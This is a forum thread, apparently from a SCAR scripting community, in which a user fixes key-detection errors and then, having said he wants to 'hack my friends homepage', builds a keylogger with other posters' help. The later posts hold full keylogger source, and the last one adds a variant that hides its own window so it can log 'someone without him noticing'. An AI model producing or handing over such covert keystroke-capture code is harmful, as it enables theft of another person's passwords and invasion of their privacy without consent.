I get error here:
(Its the "If (IsKeyDown(LowerCase(X))) Then)SCAR Code:If (IsKeyDown(LowerCase(X))) Then
Begin
Repeat
Wait(0);
Until(IsKeyUp(x))
Writeln(x);
End;
"X" Is a String.
"KeyUp" is a procedure i made.
I get error here:
(Its the "If (IsKeyDown(LowerCase(X))) Then)SCAR Code:If (IsKeyDown(LowerCase(X))) Then
Begin
Repeat
Wait(0);
Until(IsKeyUp(x))
Writeln(x);
End;
"X" Is a String.
"KeyUp" is a procedure i made.
IsKeyDown uses a "Char" which is not to be confused with a string (though they are almost the same).
A char is ONE letter (e.g. "s"), where a string can have a length of... Much longer
So in order to make your script work, you have to make the variable "X" a char.
-Knives
My variable is only one character.. it is a (I made it like this: X := 'a';..)
Edit: I got a smiley at the end
Edit2: So I can make it like:
Edit3: Nope I could not.. it didnt work.. Got the same error..SCAR Code:Var
X: Char;
Edit4: I tryed:
and then it worked...SCAR Code:If (IsKeyDown('a')) Then
SCAR Code:Procedure Whatever;
var
X: char;
begin
x:= 'a'; // Only 1 letter! nothing more.
if IsKeyDown(x) then
begin
// Whatever you want to do
end;
end;
That should work. If it doesn't, just post again. We can sort this out.
-Knives
Yea, thanks for ur help!
But now i got another problem.
When I type something, and the script types it back, I get the keys in alfabethic order. That means "The" would be "ehT".
Edit: Jeg er fra norge![]()
Anyone?
Please I need help with this, I want to hack my friends homepage :S
Lol, if you wanna hack it then hack it, login-ing to someones account isn't hacking I guess
...no?"The" would be "ehT".
SCAR Code:Var
ABC: String;
Function Down: String;
Var
I: Integer;
Begin
For I := 1 To 26 Do
If IsKeyDown(ABC[i]) Then
Result := ABC[i];
End;
begin
ABC := 'abcdefghijklmnopqrstuvwxyz';
end.
Btw, if you know Java, though if you would I doubt you'd be asking this -
http://java.sun.com/j2se/1.5.0/docs/api/
I wish I would have enough skill to make the constructor for that class =/
So i can tell the script wich key in a string i want him to pick out if i know the lenght of the string?
Like you did here:
SCAR Code:Function Down: String;
Var
I: Integer;
Begin
For I := 1 To 36 Do
If IsKeyDown(ABC[i]) Then //Here, the ABC[i].
Result := ABC[i];
End;
If so, then its brilliant!
Edit: We made the keylogger work
SCAR Code:program KeyLogg;
Var
ABC, KeyString: String;
Function IsKeyUp(C:Char): Boolean;
Begin
If (Not(IsKeyDown(C))) Then
Begin
Result := True;
End;
End;
Function Down: String;
Var
I: Integer;
Begin
For I := 1 To 36 Do
If IsKeyDown(ABC[i]) Then
Begin
Result := ABC[i];
Repeat
Wait(0)
Until(IsKeyUp(ABC[i]))
End;
End;
Begin
ABC := 'abcdefghijklmnopqrstuvwxyz1234567890';
Repeat
KeyString := KeyString + Down;
Until(IsFKeyDown(1))
Writeln(KeyString)
End.
Lol gratzBtw, one thing if you really want to keylog someone without him noticing, do this:
SCAR Code:program KeyLogg;
Var
ABC, KeyString: String;
Function IsKeyUp(C:Char): Boolean;
Begin
If (Not(IsKeyDown(C))) Then
Begin
Result := True;
End;
End;
Function Down: String;
Var
I: Integer;
Begin
For I := 1 To 36 Do
If IsKeyDown(ABC[i]) Then
Begin
Result := ABC[i];
Repeat
Wait(0)
Until(IsKeyUp(ABC[i]))
End;
End;
Begin
GetSelf.HIDE;
ABC := 'abcdefghijklmnopqrstuvwxyz1234567890';
Repeat
KeyString := KeyString + Down;
Until(IsFKeyDown(1))
GetSelf.SHOW;
Writeln(KeyString)
End.
There are currently 1 users browsing this thread. (0 members and 1 guests)